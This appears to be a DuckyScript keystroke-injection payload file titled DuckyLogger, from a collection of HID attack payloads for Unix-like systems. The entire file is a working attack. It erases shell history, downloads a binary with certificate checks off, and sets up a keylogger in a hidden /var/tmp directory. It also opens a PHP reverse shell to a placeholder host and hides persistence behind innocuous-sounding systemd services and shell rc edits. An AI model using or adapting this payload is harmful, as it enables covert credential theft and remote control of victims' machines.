mirror of https://github.com/hak5/omg-payloads.git
94 lines
3.3 KiB
Plaintext
94 lines
3.3 KiB
Plaintext
REM Title: DuckyLogger
|
|
REM Description: Key logger which sends each and every key stroke of target remotely/locally.
|
|
REM AUTHOR: drapl0n
|
|
REM Version: 1.0
|
|
REM Category: Credentials
|
|
REM Target: Unix-like operating systems with systemd
|
|
REM Attackmodes: HID
|
|
|
|
REM [Note]
|
|
REM Visit https://github.com/drapl0n/DuckyLogger/README.md for usage and other important instructions.
|
|
|
|
REM [keeping tracks clear]
|
|
DELAY 5000
|
|
CTRL ALT t
|
|
DELAY 400
|
|
STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
|
|
ENTER
|
|
DELAY 100
|
|
|
|
REM [creating key logging mechanism]
|
|
STRING mkdir /var/tmp/.system
|
|
ENTER
|
|
DELAY 100
|
|
STRING echo "/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys
|
|
ENTER
|
|
DELAY 100
|
|
STRING chmod +x /var/tmp/.system/sys
|
|
ENTER
|
|
DELAY 100
|
|
|
|
REM [importing xinput]
|
|
STRING cd /var/tmp/.system/
|
|
ENTER
|
|
DELAY 100
|
|
STRING wget --no-check-certificate --content-disposition https://github.com/drapl0n/DuckyLogger/blob/main/xinput\?raw=true
|
|
ENTER
|
|
DELAY 5000
|
|
STRING chmod +x xinput
|
|
ENTER
|
|
DELAY 100
|
|
|
|
REM [creating reverse shell]
|
|
STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
|
|
ENTER
|
|
DELAY 100
|
|
STRING chmod +x /var/tmp/.system/systemBus
|
|
ENTER
|
|
DELAY 100
|
|
|
|
REM [creating systemd service to execute payload on boot]
|
|
STRING mkdir -p ~/.config/systemd/user
|
|
ENTER
|
|
DELAY 200
|
|
STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
|
|
ENTER
|
|
DELAY 100
|
|
|
|
REM [creating reboot script incase if listner stops or targets internet connection gets lost]
|
|
STRING echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot
|
|
ENTER
|
|
DELAY 100
|
|
STRING chmod +x /var/tmp/.system/reboot
|
|
ENTER
|
|
DELAY 100
|
|
|
|
REM [creating systemd service to execute payload on boot]
|
|
STRING echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/reboot.service
|
|
ENTER
|
|
DELAY 100
|
|
|
|
REM [enabling service]
|
|
STRING systemctl --user daemon-reload
|
|
ENTER
|
|
DELAY 300
|
|
STRING systemctl --user enable --now systemBUS.service
|
|
ENTER
|
|
DELAY 150
|
|
STRING systemctl --user start --now systemBUS.service
|
|
ENTER
|
|
DELAY 150
|
|
STRING systemctl --user enable --now reboot.service
|
|
ENTER
|
|
DELAY 150
|
|
STRING systemctl --user start --now reboot.service
|
|
ENTER
|
|
DELAY 100
|
|
|
|
REM [autostarting service on terminal/shell launch]
|
|
STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\nfi" > ~/tmmmp
|
|
ENTER
|
|
DELAY 100
|
|
STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
|
|
ENTER
|